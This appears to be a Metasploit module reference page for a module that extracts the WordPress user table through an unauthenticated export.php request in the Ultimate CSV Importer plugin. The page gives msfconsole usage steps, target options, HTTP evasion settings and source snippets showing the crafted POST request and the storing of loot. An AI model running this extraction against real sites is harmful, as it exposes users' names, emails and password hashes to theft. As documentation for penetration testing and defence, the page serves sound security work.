WordPress Ultimate CSV Importer User Table Extract - Metasploit
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Module Overview
Name: WordPress Ultimate CSV Importer User Table Extract
Module: auxiliary/gather/wp_ultimate_csv_importer_user_extract
Source code: modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb
Disclosure date: 2015-02-02
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
Due to lack of verification of a visitor's permissions, it is possible to execute the 'export.php' script included in the default installation of the Ultimate CSV Importer plugin and retrieve the full contents of the user table in the WordPress installation. This results in full disclosure of usernames, hashed passwords and email addresses for all users.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/wp_ultimate_csv_importer_user_extract
msf auxiliary(wp_ultimate_csv_importer_user_extract) > show targets
... a list of targets ...
msf auxiliary(wp_ultimate_csv_importer_user_extract) > set TARGET target-id
msf auxiliary(wp_ultimate_csv_importer_user_extract) > show options
... show and set options ...
msf auxiliary(wp_ultimate_csv_importer_user_extract) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the gather/wp_ultimate_csv_importer_user_extract auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/wp_ultimate_csv_importer_user_extract
msf6 auxiliary(gather/wp_ultimate_csv_importer_user_extract) > show info
Name: WordPress Ultimate CSV Importer User Table Extract
Module: auxiliary/gather/wp_ultimate_csv_importer_user_extract
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-02-02
Provided by:
James Hooker
rastating
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
Description:
Due to lack of verification of a visitor's permissions, it is
possible to execute the 'export.php' script included in the default
installation of the Ultimate CSV Importer plugin and retrieve the
full contents of the user table in the WordPress installation. This
results in full disclosure of usernames, hashed passwords and email
addresses for all users.
References:
https://wpscan.com/vulnerability/7778
Module Options
This is a complete list of options available in the gather/wp_ultimate_csv_importer_user_extract auxiliary module:
msf6 auxiliary(gather/wp_ultimate_csv_importer_user_extract) > show options
Module options (auxiliary/gather/wp_ultimate_csv_importer_user_extract):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the gather/wp_ultimate_csv_importer_user_extract auxiliary module:
msf6 auxiliary(gather/wp_ultimate_csv_importer_user_extract) > show advanced
Module advanced options (auxiliary/gather/wp_ultimate_csv_importer_user_extract):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
Auxiliary Actions
This is a list of all auxiliary actions that the gather/wp_ultimate_csv_importer_user_extract module can do:
msf6 auxiliary(gather/wp_ultimate_csv_importer_user_extract) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/wp_ultimate_csv_importer_user_extract auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/wp_ultimate_csv_importer_user_extract) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No response from the target
Here is a relevant code snippet related to the "No response from the target" error message:
91: res = send_request_cgi(
92: 'method' => 'POST',
93: 'uri' => exporter_url,
94: 'vars_post' => { 'export' => 'users' }
95: )
96: fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
97: fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
98:
99: print_status("Parsing response...")
100: unless parse_csv(res.body, ',')
101: unless parse_csv(res.body, ';')
Server responded with status code <RES.CODE>
Here is a relevant code snippet related to the "Server responded with status code <RES.CODE>" error message:
92: 'method' => 'POST',
93: 'uri' => exporter_url,
94: 'vars_post' => { 'export' => 'users' }
95: )
96: fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
97: fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
98:
99: print_status("Parsing response...")
100: unless parse_csv(res.body, ',')
101: unless parse_csv(res.body, ';')
102: fail_with(Failure::UnexpectedReply, "#{peer} - Failed to parse response, the CSV was invalid")
<PEER> - Failed to parse response, the CSV was invalid
Here is a relevant code snippet related to the "<PEER> - Failed to parse response, the CSV was invalid" error message:
97: fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
98:
99: print_status("Parsing response...")
100: unless parse_csv(res.body, ',')
101: unless parse_csv(res.body, ';')
102: fail_with(Failure::UnexpectedReply, "#{peer} - Failed to parse response, the CSV was invalid")
103: end
104: end
105:
106: store_path = store_loot('wordpress.users.export', 'csv', datastore['RHOST'], res.body, 'users_export.csv', 'WordPress User Table Extract')
107: print_good("CSV saved to #{store_path}")
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10728 Merged Pull Request: Fix outdated metadata
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #6089 Merged Pull Request: Fix HTTP mixins namespaces
- #5173 Merged Pull Request: fix fail_with errors
- #4839 Merged Pull Request: Fixup release
- #4770 Merged Pull Request: Add WordPress Ultimate CSV Importer user extract module
References
- CVE: Not available
- WPVDB-7778
See Also
Check also the following modules related to this module:
- auxiliary/gather/wp_all_in_one_migration_export
- auxiliary/gather/wp_w3_total_cache_hash_extract
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_custom_contact_forms
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/http/wp_symposium_sql_injection
- auxiliary/admin/http/wp_wplms_privilege_escalation
- auxiliary/scanner/http/wp_abandoned_cart_sqli
- auxiliary/scanner/http/wp_arbitrary_file_deletion
- auxiliary/scanner/http/wp_bulletproofsecurity_backups
- auxiliary/scanner/http/wp_chopslider_id_sqli
- auxiliary/scanner/http/wp_contus_video_gallery_sqli
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_learnpress_sqli
- auxiliary/scanner/http/wp_loginizer_log_sqli
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_mobile_pack_info_disclosure
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_registrationmagic_sqli
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/http/wp_total_upkeep_downloader
- auxiliary/scanner/http/wp_wps_hide_login_revealer
- auxiliary/gather/alienvault_newpolicyform_sqli
Authors
- James Hooker
- rastating
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
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